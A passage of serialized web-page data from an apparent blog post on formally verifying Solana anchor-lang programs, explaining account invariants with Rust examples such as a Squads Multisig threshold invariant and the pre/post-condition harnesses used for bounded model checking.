my_instruction",{"type":24,"tag":147,"props":26251,"children":26252},{"style":235},[26253],{"type":29,"value":480},{"type":24,"tag":147,"props":26255,"children":26256},{"style":247},[26257],{"type":29,"value":25884},{"type":24,"tag":147,"props":26259,"children":26260},{"style":241},[26261],{"type":29,"value":978},{"type":24,"tag":147,"props":26263,"children":26264},{"style":9044},[26265],{"type":29,"value":25893},{"type":24,"tag":147,"props":26267,"children":26268},{"style":235},[26269],{"type":29,"value":3583},{"type":24,"tag":147,"props":26271,"children":26272},{"style":241},[26273],{"type":29,"value":15212},{"type":24,"tag":147,"props":26275,"children":26276},{"style":235},[26277],{"type":29,"value":26050},{"type":24,"tag":147,"props":26279,"children":26280},{"style":241},[26281],{"type":29,"value":495},{"type":24,"tag":147,"props":26283,"children":26284},{"style":9044},[26285],{"type":29,"value":19378},{"type":24,"tag":147,"props":26287,"children":26288},{"style":235},[26289],{"type":29,"value":25935},{"type":24,"tag":147,"props":26291,"children":26292},{"class":149,"line":196},[26293],{"type":24,"tag":147,"props":26294,"children":26295},{"style":241},[26296],{"type":29,"value":25943},{"type":24,"tag":147,"props":26298,"children":26299},{"class":149,"line":205},[26300],{"type":24,"tag":147,"props":26301,"children":26302},{"style":235},[26303],{"type":29,"value":827},{"type":24,"tag":25,"props":26305,"children":26306},{},[26307],{"type":29,"value":26308},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":24,"tag":112,"props":26310,"children":26312},{"id":26311},"account-invariants",[26313],{"type":29,"value":26314},"Account Invariants",{"type":24,"tag":25,"props":26316,"children":26317},{},[26318,26320,26325],{"type":29,"value":26319},"The other type of invariant is an ",{"type":24,"tag":10949,"props":26321,"children":26322},{},[26323],{"type":29,"value":26324},"Account Invariant",{"type":29,"value":26326},". This invariant describes some property of an account that should always hold.",{"type":24,"tag":25,"props":26328,"children":26329},{},[26330,26332,26337,26338,26344],{"type":29,"value":26331},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":24,"tag":80,"props":26333,"children":26335},{"className":26334},[],[26336],{"type":29,"value":9348},{"type":29,"value":18751},{"type":24,"tag":80,"props":26339,"children":26341},{"className":26340},[],[26342],{"type":29,"value":26343},"init",{"type":29,"value":5745},{"type":24,"tag":25,"props":26346,"children":26347},{},[26348,26350,26356],{"type":29,"value":26349},"For example, given a mock ",{"type":24,"tag":80,"props":26351,"children":26353},{"className":26352},[],[26354],{"type":29,"value":26355},"UserStatement",{"type":29,"value":26357}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":24,"tag":137,"props":26359,"children":26361},{"code":26360,"language":8613,"meta":7,"className":8614,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[26362],{"type":24,"tag":80,"props":26363,"children":26364},{"__ignoreMap":7},[26365,26373,26381,26415,26422,26438,26464,26488,26512],{"type":24,"tag":147,"props":26366,"children":26367},{"class":149,"line":150},[26368],{"type":24,"tag":147,"props":26369,"children":26370},{"style":235},[26371],{"type":29,"value":26372},"#[account]\n",{"type":24,"tag":147,"props":26374,"children":26375},{"class":149,"line":160},[26376],{"type":24,"tag":147,"props":26377,"children":26378},{"style":235},[26379],{"type":29,"value":26380},"#[invariant(\n",{"type":24,"tag":147,"props":26382,"children":26383},{"class":149,"line":169},[26384,26389,26393,26398,26402,26406,26410],{"type":24,"tag":147,"props":26385,"children":26386},{"style":235},[26387],{"type":29,"value":26388},"    self",{"type":24,"tag":147,"props":26390,"children":26391},{"style":241},[26392],{"type":29,"value":87},{"type":24,"tag":147,"props":26394,"children":26395},{"style":235},[26396],{"type":29,"value":26397},"assets ",{"type":24,"tag":147,"props":26399,"children":26400},{"style":241},[26401],{"type":29,"value":15564},{"type":24,"tag":147,"props":26403,"children":26404},{"style":235},[26405],{"type":29,"value":19413},{"type":24,"tag":147,"props":26407,"children":26408},{"style":241},[26409],{"type":29,"value":87},{"type":24,"tag":147,"props":26411,"children":26412},{"style":235},[26413],{"type":29,"value":26414},"liabilities\n",{"type":24,"tag":147,"props":26416,"children":26417},{"class":149,"line":178},[26418],{"type":24,"tag":147,"props":26419,"children":26420},{"style":235},[26421],{"type":29,"value":25862},{"type":24,"tag":147,"props":26423,"children":26424},{"class":149,"line":187},[26425,26429,26434],{"type":24,"tag":147,"props":26426,"children":26427},{"style":218},[26428],{"type":29,"value":993},{"type":24,"tag":147,"props":26430,"children":26431},{"style":9044},[26432],{"type":29,"value":26433}," UserStatement",{"type":24,"tag":147,"props":26435,"children":26436},{"style":235},[26437],{"type":29,"value":6630},{"type":24,"tag":147,"props":26439,"children":26440},{"class":149,"line":196},[26441,26446,26451,26455,26460],{"type":24,"tag":147,"props":26442,"children":26443},{"style":218},[26444],{"type":29,"value":26445},"    pub",{"type":24,"tag":147,"props":26447,"children":26448},{"style":247},[26449],{"type":29,"value":26450}," owner",{"type":24,"tag":147,"props":26452,"children":26453},{"style":241},[26454],{"type":29,"value":978},{"type":24,"tag":147,"props":26456,"children":26457},{"style":9044},[26458],{"type":29,"value":26459}," Pubkey",{"type":24,"tag":147,"props":26461,"children":26462},{"style":235},[26463],{"type":29,"value":1549},{"type":24,"tag":147,"props":26465,"children":26466},{"class":149,"line":205},[26467,26471,26476,26480,26484],{"type":24,"tag":147,"props":26468,"children":26469},{"style":218},[26470],{"type":29,"value":26445},{"type":24,"tag":147,"props":26472,"children":26473},{"style":247},[26474],{"type":29,"value":26475}," assets",{"type":24,"tag":147,"props":26477,"children":26478},{"style":241},[26479],{"type":29,"value":978},{"type":24,"tag":147,"props":26481,"children":26482},{"style":9044},[26483],{"type":29,"value":11484},{"type":24,"tag":147,"props":26485,"children":26486},{"style":235},[26487],{"type":29,"value":1549},{"type":24,"tag":147,"props":26489,"children":26490},{"class":149,"line":214},[26491,26495,26500,26504,26508],{"type":24,"tag":147,"props":26492,"children":26493},{"style":218},[26494],{"type":29,"value":26445},{"type":24,"tag":147,"props":26496,"children":26497},{"style":247},[26498],{"type":29,"value":26499}," liabilities",{"type":24,"tag":147,"props":26501,"children":26502},{"style":241},[26503],{"type":29,"value":978},{"type":24,"tag":147,"props":26505,"children":26506},{"style":9044},[26507],{"type":29,"value":11484},{"type":24,"tag":147,"props":26509,"children":26510},{"style":235},[26511],{"type":29,"value":1549},{"type":24,"tag":147,"props":26513,"children":26514},{"class":149,"line":272},[26515],{"type":24,"tag":147,"props":26516,"children":26517},{"style":235},[26518],{"type":29,"value":827},{"type":24,"tag":25,"props":26520,"children":26521},{},[26522,26524,26529],{"type":29,"value":26523},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":24,"tag":80,"props":26525,"children":26527},{"className":26526},[],[26528],{"type":29,"value":26355},{"type":29,"value":26530}," is created or modified.",{"type":24,"tag":25,"props":26532,"children":26533},{},[26534,26536,26542],{"type":29,"value":26535},"In another example, we developed the following invariant for the ",{"type":24,"tag":2773,"props":26537,"children":26539},{"href":24431,"rel":26538},[2777],[26540],{"type":29,"value":26541},"Squads Multisig",{"type":29,"value":26543}," wallet account:",{"type":24,"tag":137,"props":26545,"children":26547},{"code":26546,"language":8613,"meta":7,"className":8614,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[26548],{"type":24,"tag":80,"props":26549,"children":26550},{"__ignoreMap":7},[26551,26558,26565,26595,26654,26683,26735,26742,26763,26793,26823,26853,26882,26912,26942,26971,27011],{"type":24,"tag":147,"props":26552,"children":26553},{"class":149,"line":150},[26554],{"type":24,"tag":147,"props":26555,"children":26556},{"style":235},[26557],{"type":29,"value":26372},{"type":24,"tag":147,"props":26559,"children":26560},{"class":149,"line":160},[26561],{"type":24,"tag":147,"props":26562,"children":26563},{"style":235},[26564],{"type":29,"value":26380},{"type":24,"tag":147,"props":26566,"children":26567},{"class":149,"line":169},[26568,26573,26577,26581,26586,26590],{"type":24,"tag":147,"props":26569,"children":26570},{"style":241},[26571],{"type":29,"value":26572},"    !",{"type":24,"tag":147,"props":26574,"children":26575},{"style":235},[26576],{"type":29,"value":19330},{"type":24,"tag":147,"props":26578,"children":26579},{"style":241},[26580],{"type":29,"value":87},{"type":24,"tag":147,"props":26582,"children":26583},{"style":235},[26584],{"type":29,"value":26585},"keys",{"type":24,"tag":147,"props":26587,"children":26588},{"style":241},[26589],{"type":29,"value":87},{"type":24,"tag":147,"props":26591,"children":26592},{"style":235},[26593],{"type":29,"value":26594},"is_empty()\n",{"type":24,"tag":147,"props":26596,"children":26597},{"class":149,"line":178},[26598,26602,26607,26611,26615,26619,26624,26628,26633,26637,26642,26646,26650],{"type":24,"tag":147,"props":26599,"children":26600},{"style":241},[26601],{"type":29,"value":21233},{"type":24,"tag":147,"props":26603,"children":26604},{"style":235},[26605],{"type":29,"value":26606}," (self",{"type":24,"tag":147,"props":26608,"children":26609},{"style":241},[26610],{"type":29,"value":87},{"type":24,"tag":147,"props":26612,"children":26613},{"style":235},[26614],{"type":29,"value":26585},{"type":24,"tag":147,"props":26616,"children":26617},{"style":241},[26618],{"type":29,"value":87},{"type":24,"tag":147,"props":26620,"children":26621},{"style":235},[26622],{"type":29,"value":26623},"len() ",{"type":24,"tag":147,"props":26625,"children":26626},{"style":241},[26627],{"type":29,"value":25019},{"type":24,"tag":147,"props":26629,"children":26630},{"style":9044},[26631],{"type":29,"value":26632}," u16",{"type":24,"tag":147,"props":26634,"children":26635},{"style":241},[26636],{"type":29,"value":9106},{"type":24,"tag":147,"props":26638,"children":26639},{"style":9044},[26640],{"type":29,"value":26641},"MAX",{"type":24,"tag":147,"props":26643,"children":26644},{"style":218},[26645],{"type":29,"value":14453},{"type":24,"tag":147,"props":26647,"children":26648},{"style":9044},[26649],{"type":29,"value":19348},{"type":24,"tag":147,"props":26651,"children":26652},{"style":235},[26653],{"type":29,"value":269},{"type":24,"tag":147,"props":26655,"children":26656},{"class":149,"line":187},[26657,26661,26665,26669,26674,26678],{"type":24,"tag":147,"props":26658,"children":26659},{"style":241},[26660],{"type":29,"value":21233},{"type":24,"tag":147,"props":26662,"children":26663},{"style":235},[26664],{"type":29,"value":26606},{"type":24,"tag":147,"props":26666,"children":26667},{"style":241},[26668],{"type":29,"value":87},{"type":24,"tag":147,"props":26670,"children":26671},{"style":235},[26672],{"type":29,"value":26673},"threshold ",{"type":24,"tag":147,"props":26675,"children":26676},{"style":241},[26677],{"type":29,"value":15564},{"type":24,"tag":147,"props":26679,"children":26680},{"style":235},[26681],{"type":29,"value":26682}," 1)\n",{"type":24,"tag":147,"props":26684,"children":26685},{"class":149,"line":196},[26686,26690,26694,26698,26702,26706,26710,26714,26718,26722,26726,26730],{"type":24,"tag":147,"props":26687,"children":26688},{"style":241},[26689],{"type":29,"value":21233},{"type":24,"tag":147,"props":26691,"children":26692},{"style":235},[26693],{"type":29,"value":26606},{"type":24,"tag":147,"props":26695,"children":26696},{"style":241},[26697],{"type":29,"value":87},{"type":24,"tag":147,"props":26699,"children":26700},{"style":235},[26701],{"type":29,"value":26673},{"type":24,"tag":147,"props":26703,"children":26704},{"style":218},[26705],{"type":29,"value":14467},{"type":24,"tag":147,"props":26707,"children":26708},{"style":9044},[26709],{"type":29,"value":19348},{"type":24,"tag":147,"props":26711,"children":26712},{"style":241},[26713],{"type":29,"value":13823},{"type":24,"tag":147,"props":26715,"children":26716},{"style":235},[26717],{"type":29,"value":19413},{"type":24,"tag":147,"props":26719,"children":26720},{"style":241},[26721],{"type":29,"value":87},{"type":24,"tag":147,"props":26723,"children":26724},{"style":235},[26725],{"type":29,"value":26585},{"type":24,"tag":147,"props":26727,"children":26728},{"style":241},[26729],{"type":29,"value":87},{"type":24,"tag":147,"props":26731,"children":26732},{"style":235},[26733],{"type":29,"value":26734},"len())\n",{"type":24,"tag":147,"props":26736,"children":26737},{"class":149,"line":205},[26738],{"type":24,"tag":147,"props":26739,"children":26740},{"style":235},[26741],{"type":29,"value":25862},{"type":24,"tag":147,"props":26743,"children":26744},{"class":149,"line":214},[26745,26749,26754,26759],{"type":24,"tag":147,"props":26746,"children":26747},{"style":218},[26748],{"type":29,"value":19307},{"type":24,"tag":147,"props":26750,"children":26751},{"style":218},[26752],{"type":29,"value":26753}," struct",{"type":24,"tag":147,"props":26755,"children":26756},{"style":9044},[26757],{"type":29,"value":26758}," Ms",{"type":24,"tag":147,"props":26760,"children":26761},{"style":235},[26762],{"type":29,"value":6630},{"type":24,"tag":147,"props":26764,"children":26765},{"class":149,"line":272},[26766,26770,26775,26779,26783,26788],{"type":24,"tag":147,"props":26767,"children":26768},{"style":218},[26769],{"type":29,"value":26445},{"type":24,"tag":147,"props":26771,"children":26772},{"style":247},[26773],{"type":29,"value":26774}," threshold",{"type":24,"tag":147,"props":26776,"children":26777},{"style":241},[26778],{"type":29,"value":978},{"type":24,"tag":147,"props":26780,"children":26781},{"style":9044},[26782],{"type":29,"value":26632},{"type":24,"tag":147,"props":26784,"children":26785},{"style":235},[26786],{"type":29,"value":26787},",               ",{"type":24,"tag":147,"props":26789,"children":26790},{"style":154},[26791],{"type":29,"value":26792},"// threshold for signatures\n",{"type":24,"tag":147,"props":26794,"children":26795},{"class":149,"line":281},[26796,26800,26805,26809,26813,26818],{"type":24,"tag":147,"props":26797,"children":26798},{"style":218},[26799],{"type":29,"value":26445},{"type":24,"tag":147,"props":26801,"children":26802},{"style":247},[26803],{"type":29,"value":26804}," authority_index",{"type":24,"tag":147,"props":26806,"children":26807},{"style":241},[26808],{"type":29,"value":978},{"type":24,"tag":147,"props":26810,"children":26811},{"style":9044},[26812],{"type":29,"value":26632},{"type":24,"tag":147,"props":26814,"children":26815},{"style":235},[26816],{"type":29,"value":26817},",         ",{"type":24,"tag":147,"props":26819,"children":26820},{"style":154},[26821],{"type":29,"value":26822},"// index to seed other authorities under this multisig\n",{"type":24,"tag":147,"props":26824,"children":26825},{"class":149,"line":299},[26826,26830,26835,26839,26843,26848],{"type":24,"tag":147,"props":26827,"children":26828},{"style":218},[26829],{"type":29,"value":26445},{"type":24,"tag":147,"props":26831,"children":26832},{"style":247},[26833],{"type":29,"value":26834}," transaction_index",{"type":24,"tag":147,"props":26836,"children":26837},{"style":241},[26838],{"type":29,"value":978},{"type":24,"tag":147,"props":26840,"children":26841},{"style":9044},[26842],{"type":29,"value":23155},{"type":24,"tag":147,"props":26844,"children":26845},{"style":235},[26846],{"type":29,"value":26847},",       ",{"type":24,"tag":147,"props":26849,"children":26850},{"style":154},[26851],{"type":29,"value":26852},"// look up and seed reference for transactions\n",{"type":24,"tag":147,"props":26854,"children":26855},{"class":149,"line":308},[26856,26860,26865,26869,26873,26877],{"type":24,"tag":147,"props":26857,"children":26858},{"style":218},[26859],{"type":29,"value":26445},{"type":24,"tag":147,"props":26861,"children":26862},{"style":247},[26863],{"type":29,"value":26864}," ms_change_index",{"type":24,"tag":147,"props":26866,"children":26867},{"style":241},[26868],{"type":29,"value":978},{"type":24,"tag":147,"props":26870,"children":26871},{"style":9044},[26872],{"type":29,"value":23155},{"type":24,"tag":147,"props":26874,"children":26875},{"style":235},[26876],{"type":29,"value":26817},{"type":24,"tag":147,"props":26878,"children":26879},{"style":154},[26880],{"type":29,"value":26881},"// the last executed/closed transaction\n",{"type":24,"tag":147,"props":26883,"children":26884},{"class":149,"line":317},[26885,26889,26894,26898,26902,26907],{"type":24,"tag":147,"props":26886,"children":26887},{"style":218},[26888],{"type":29,"value":26445},{"type":24,"tag":147,"props":26890,"children":26891},{"style":247},[26892],{"type":29,"value":26893}," bump",{"type":24,"tag":147,"props":26895,"children":26896},{"style":241},[26897],{"type":29,"value":978},{"type":24,"tag":147,"props":26899,"children":26900},{"style":9044},[26901],{"type":29,"value":20248},{"type":24,"tag":147,"props":26903,"children":26904},{"style":235},[26905],{"type":29,"value":26906},",                     ",{"type":24,"tag":147,"props":26908,"children":26909},{"style":154},[26910],{"type":29,"value":26911},"// bump for the multisig seed\n",{"type":24,"tag":147,"props":26913,"children":26914},{"class":149,"line":332},[26915,26919,26924,26928,26932,26937],{"type":24,"tag":147,"props":26916,"children":26917},{"style":218},[26918],{"type":29,"value":26445},{"type":24,"tag":147,"props":26920,"children":26921},{"style":247},[26922],{"type":29,"value":26923}," create_key",{"type":24,"tag":147,"props":26925,"children":26926},{"style":241},[26927],{"type":29,"value":978},{"type":24,"tag":147,"props":26929,"children":26930},{"style":9044},[26931],{"type":29,"value":26459},{"type":24,"tag":147,"props":26933,"children":26934},{"style":235},[26935],{"type":29,"value":26936},",           ",{"type":24,"tag":147,"props":26938,"children":26939},{"style":154},[26940],{"type":29,"value":26941},"// random key(or not) used to seed the multisig pda\n",{"type":24,"tag":147,"props":26943,"children":26944},{"class":149,"line":350},[26945,26949,26954,26958,26962,26966],{"type":24,"tag":147,"props":26946,"children":26947},{"style":218},[26948],{"type":29,"value":26445},{"type":24,"tag":147,"props":26950,"children":26951},{"style":247},[26952],{"type":29,"value":26953}," allow_external_execute",{"type":24,"tag":147,"props":26955,"children":26956},{"style":241},[26957],{"type":29,"value":978},{"type":24,"tag":147,"props":26959,"children":26960},{"style":9044},[26961],{"type":29,"value":17669},{"type":24,"tag":147,"props":26963,"children":26964},{"style":235},[26965],{"type":29,"value":546},{"type":24,"tag":147,"props":26967,"children":26968},{"style":154},[26969],{"type":29,"value":26970},"// allow non-member keys to execute txs\n",{"type":24,"tag":147,"props":26972,"children":26973},{"class":149,"line":358},[26974,26978,26983,26987,26992,26996,27001,27006],{"type":24,"tag":147,"props":26975,"children":26976},{"style":218},[26977],{"type":29,"value":26445},{"type":24,"tag":147,"props":26979,"children":26980},{"style":247},[26981],{"type":29,"value":26982}," keys",{"type":24,"tag":147,"props":26984,"children":26985},{"style":241},[26986],{"type":29,"value":978},{"type":24,"tag":147,"props":26988,"children":26989},{"style":9044},[26990],{"type":29,"value":26991}," Vec",{"type":24,"tag":147,"props":26993,"children":26994},{"style":235},[26995],{"type":29,"value":3583},{"type":24,"tag":147,"props":26997,"children":26998},{"style":9044},[26999],{"type":29,"value":27000},"Pubkey",{"type":24,"tag":147,"props":27002,"children":27003},{"style":235},[27004],{"type":29,"value":27005},">,            ",{"type":24,"tag":147,"props":27007,"children":27008},{"style":154},[27009],{"type":29,"value":27010},"// keys of the members\n",{"type":24,"tag":147,"props":27012,"children":27013},{"class":149,"line":397},[27014],{"type":24,"tag":147,"props":27015,"children":27016},{"style":235},[27017],{"type":29,"value":827},{"type":24,"tag":25,"props":27019,"children":27020},{},[27021],{"type":29,"value":27022},"Here we are verifying multiple things at once:",{"type":24,"tag":22292,"props":27024,"children":27025},{},[27026,27037,27048,27059],{"type":24,"tag":2678,"props":27027,"children":27028},{},[27029,27035],{"type":24,"tag":80,"props":27030,"children":27032},{"className":27031},[],[27033],{"type":29,"value":27034},"!self.keys.is_empty()",{"type":29,"value":27036}," : ensure there is at least one member",{"type":24,"tag":2678,"props":27038,"children":27039},{},[27040,27046],{"type":24,"tag":80,"props":27041,"children":27043},{"className":27042},[],[27044],{"type":29,"value":27045},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":27047}," : set an upper limit of 65535 members",{"type":24,"tag":2678,"props":27049,"children":27050},{},[27051,27057],{"type":24,"tag":80,"props":27052,"children":27054},{"className":27053},[],[27055],{"type":29,"value":27056},"self.threshold >= 1",{"type":29,"value":27058}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":24,"tag":2678,"props":27060,"children":27061},{},[27062,27068],{"type":24,"tag":80,"props":27063,"children":27065},{"className":27064},[],[27066],{"type":29,"value":27067},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":27069}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":24,"tag":32,"props":27071,"children":27073},{"id":27072},"verification-how-do-we-check-that-our-model-is-correct",[27074],{"type":29,"value":27075},"Verification: How do we check that our model is correct?",{"type":24,"tag":25,"props":27077,"children":27078},{},[27079,27081,27085,27087,27092],{"type":29,"value":27080},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":24,"tag":8545,"props":27082,"children":27083},{},[27084],{"type":29,"value":25572},{"type":29,"value":27086}," on which we can run bounded model checking. Our tool does this ",{"type":24,"tag":8545,"props":27088,"children":27089},{},[27090],{"type":29,"value":27091},"automagically",{"type":29,"value":27093}," for anchor-lang programs.",{"type":24,"tag":25,"props":27095,"children":27096},{},[27097,27099,27105,27107,27112,27114,27119,27120,27125,27127,27132,27134,27139,27140,27146,27148,27154,27155,27161],{"type":29,"value":27098},"Specifically, for a given ",{"type":24,"tag":80,"props":27100,"children":27102},{"className":27101},[],[27103],{"type":29,"value":27104},"Context\u003CT>",{"type":29,"value":27106}," with ",{"type":24,"tag":8545,"props":27108,"children":27109},{},[27110],{"type":29,"value":27111},"incoming",{"type":29,"value":27113}," accounts of types (",{"type":24,"tag":80,"props":27115,"children":27117},{"className":27116},[],[27118],{"type":29,"value":26343},{"type":29,"value":10204},{"type":24,"tag":80,"props":27121,"children":27123},{"className":27122},[],[27124],{"type":29,"value":9348},{"type":29,"value":27126},") and ",{"type":24,"tag":8545,"props":27128,"children":27129},{},[27130],{"type":29,"value":27131},"outgoing",{"type":29,"value":27133}," accounts of type (",{"type":24,"tag":80,"props":27135,"children":27137},{"className":27136},[],[27138],{"type":29,"value":9348},{"type":29,"value":10204},{"type":24,"tag":80,"props":27141,"children":27143},{"className":27142},[],[27144],{"type":29,"value":27145},"close",{"type":29,"value":27147},") we define a ",{"type":24,"tag":80,"props":27149,"children":27151},{"className":27150},[],[27152],{"type":29,"value":27153},"pre_condition",{"type":29,"value":855},{"type":24,"tag":80,"props":27156,"children":27158},{"className":27157},[],[27159],{"type":29,"value":27160},"post_condition",{"type":29,"value":27162}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":24,"tag":25,"props":27164,"children":27165},{},[27166],{"type":24,"tag":80,"props":27167,"children":27169},{"className":27168},[9607,9608],[27170],{"type":24,"tag":147,"props":27171,"children":27173},{"className":27172},[9613],[27174],{"type":24,"tag":147,"props":27175,"children":27177},{"className":27176,"ariaHidden":9619},[9618],[27178,27214],{"type":24,"tag":147,"props":27179,"children":27181},{"className":27180},[9624],[27182,27187,27195,27200,27204,27210],{"type":24,"tag":147,"props":27183,"children":27186},{"className":27184,"style":27185},[9629],"height:0.6833em;",[],{"type":24,"tag":147,"props":27188,"children":27192},{"className":27189,"style":27191},[9635,27190],"mathnormal","margin-right:0.13889em;",[27193],{"type":29,"value":27194},"P",{"type":24,"tag":147,"props":27196,"children":27198},{"className":27197},[9635],[27199],{"type":29,"value":3173},{"type":24,"tag":147,"props":27201,"children":27203},{"className":27202,"style":9812},[9714],[],{"type":24,"tag":147,"props":27205,"children":27207},{"className":27206},[9817],[27208],{"type":29,"value":27209},":=",{"type":24,"tag":147,"props":27211,"children":27213},{"className":27212,"style":9812},[9714],[],{"type":24,"tag":147,"props":27215,"children":27217},{"className":27216},[9624],[27218,27223,27363,27367],{"type":24,"tag":147,"props":27219,"children":27222},{"className":27220,"style":27221},[9629],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":24,"tag":147,"props":27224,"children":27227},{"className":27225},[27226],"mop",[27228,27237],{"type":24,"tag":147,"props":27229,"children":27234},{"className":27230,"style":27233},[27226,27231,27232],"op-symbol","small-op","position:relative;top:0em;",[27235],{"type":29,"value":27236},"⋀",{"type":24,"tag":147,"props":27238,"children":27240},{"className":27239},[9650],[27241],{"type":24,"tag":147,"props":27242,"children":27245},{"className":27243},[9655,27244],"vlist-t2",[27246,27351],{"type":24,"tag":147,"props":27247,"children":27249},{"className":27248},[9660],[27250,27344],{"type":24,"tag":147,"props":27251,"children":27254},{"className":27252,"style":27253},[9665],"height:0.2253em;",[27255],{"type":24,"tag":147,"props":27256,"children":27258},{"style":27257},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[27259,27263],{"type":24,"tag":147,"props":27260,"children":27262},{"className":27261,"style":9675},[9674],[],{"type":24,"tag":147,"props":27264,"children":27266},{"className":27265},[9680,9681,9682,9683],[27267],{"type":24,"tag":147,"props":27268,"children":27270},{"className":27269},[9635,9683],[27271,27276,27282,27292,27298,27307,27316,27322,27327,27333,27338],{"type":24,"tag":147,"props":27272,"children":27274},{"className":27273},[9635,27190,9683],[27275],{"type":29,"value":2773},{"type":24,"tag":147,"props":27277,"children":27279},{"className":27278},[9635,27190,9683],[27280],{"type":29,"value":27281},"cc",{"type":24,"tag":147,"props":27283,"children":27285},{"className":27284},[9714,9683],[27286],{"type":24,"tag":147,"props":27287,"children":27289},{"className":27288},[9683],[27290],{"type":29,"value":27291}," ",{"type":24,"tag":147,"props":27293,"children":27295},{"className":27294},[9817,9683],[27296],{"type":29,"value":27297},"∈",{"type":24,"tag":147,"props":27299,"children":27301},{"className":27300},[9714,9683],[27302],{"type":24,"tag":147,"props":27303,"children":27305},{"className":27304},[9683],[27306],{"type":29,"value":27291},{"type":24,"tag":147,"props":27308,"children":27310},{"className":27309},[9635,29,9683],[27311],{"type":24,"tag":147,"props":27312,"children":27314},{"className":27313},[9635,9683],[27315],{"type":29,"value":27111},{"type":24,"tag":147,"props":27317,"children":27320},{"className":27318},[27319,9683],"mopen",[27321],{"type":29,"value":480},{"type":24,"tag":147,"props":27323,"children":27325},{"className":27324},[9635,27190,9683],[27326],{"type":29,"value":140},{"type":24,"tag":147,"props":27328,"children":27330},{"className":27329},[9635,27190,9683],[27331],{"type":29,"value":27332},"t",{"type":24,"tag":147,"props":27334,"children":27336},{"className":27335},[9635,27190,9683],[27337],{"type":29,"value":24880},{"type":24,"tag":147,"props":27339,"children":27342},{"className":27340},[27341,9683],"mclose",[27343],{"type":29,"value":8758},{"type":24,"tag":147,"props":27345,"children":27348},{"className":27346},[27347],"vlist-s",[27349],{"type":29,"value":27350},"​",{"type":24,"tag":147,"props":27352,"children":27354},{"className":27353},[9660],[27355],{"type":24,"tag":147,"props":27356,"children":27359},{"className":27357,"style":27358},[9665],"height:0.4747em;",[27360],{"type":24,"tag":147,"props":27361,"children":27362},{},[],{"type":24,"tag":147,"props":27364,"children":27366},{"className":27365,"style":9753},[9714],[],{"type":24,"tag":147,"props":27368,"children":27370},{"className":27369},[9635],[27371,27381,27386,27391,27396],{"type":24,"tag":147,"props":27372,"children":27374},{"className":27373},[9635,29],[27375],{"type":24,"tag":147,"props":27376,"children":27378},{"className":27377},[9635],[27379],{"type":29,"value":27380},"invariant",{"type":24,"tag":147,"props":27382,"children":27384},{"className":27383},[27319],[27385],{"type":29,"value":480},{"type":24,"tag":147,"props":27387,"children":27389},{"className":27388},[9635,27190],[27390],{"type":29,"value":2773},{"type":24,"tag":147,"props":27392,"children":27394},{"className":27393},[9635,27190],[27395],{"type":29,"value":27281},{"type":24,"tag":147,"props":27397,"children":27399},{"className":27398},[27341],[27400],{"type":29,"value":8758},{"type":24,"tag":25,"props":27402,"children":27403},{},[27404],{"type":24,"tag":80,"props":27405,"children":27407},{"className":27406},[9607,9608],[27408],{"type":24,"tag":147,"props":27409,"children":27411},{"className":27410},[9613],[27412],{"type":24,"tag":147,"props":27413,"children":27415},{"className":27414,"ariaHidden":9619},[9618],[27416,27447],{"type":24,"tag":147,"props":27417,"children":27419},{"className":27418},[9624],[27420,27424,27429,27434,27438,27443],{"type":24,"tag":147,"props":27421,"children":27423},{"className":27422,"style":27185},[9629],[],{"type":24,"tag":147,"props":27425,"children":27427},{"className":27426,"style":27191},[9635,27190],[27428],{"type":29,"value":27194},{"type":24,"tag":147,"props":27430,"children":27432},{"className":27431},[9635],[27433],{"type":29,"value":1154},{"type":24,"tag":147,"props":27435,"children":27437},{"className":27436,"style":9812},[9714],[],{"type":24,"tag":147,"props":27439,"children":27441},{"className":27440},[9817],[27442],{"type":29,"value":27209},{"type":24,"tag":147,"props":27444,"children":27446},{"className":27445,"style":9812},[9714],[],{"type":24,"tag":147,"props":27448,"children":27450},{"className":27449},[9624],[27451,27455,27578,27582],{"type":24,"tag":147,"props":27452,"children":27454},{"className":27453,"style":27221},[9629],[],{"type":24,"tag":147,"props":27456,"children":27458},{"className":27457},[27226],[27459,27464],{"type":24,"tag":147,"props":27460,"children":27462},{"className":27461,"style":27233},[27226,27231,27232],[27463],{"type":29,"value":27236},{"type":24,"tag":147,"props":27465,"children":27467},{"className":27466},[9650],[27468],{"type":24,"tag":147,"props":27469,"children":27471},{"className":27470},[9655,27244],[27472,27567],{"type":24,"tag":147,"props":27473,"children":27475},{"className":27474},[9660],[27476,27562],{"type":24,"tag":147,"props":27477,"children":27479},{"className":27478,"style":27253},[9665],[27480],{"type":24,"tag":147,"props":27481,"children":27482},{"style":27257},[27483,27487],{"type":24,"tag":147,"props":27484,"children":27486},{"className":27485,"style":9675},[9674],[],{"type":24,"tag":147,"props":27488,"children":27490},{"className":27489},[9680,9681,9682,9683],[27491],{"type":24,"tag":147,"props":27492,"children":27494},{"className":27493},[9635,9683],[27495,27500,27505,27514,27519,27528,27537,27542,27547,27552,27557],{"type":24,"tag":147,"props":27496,"children":27498},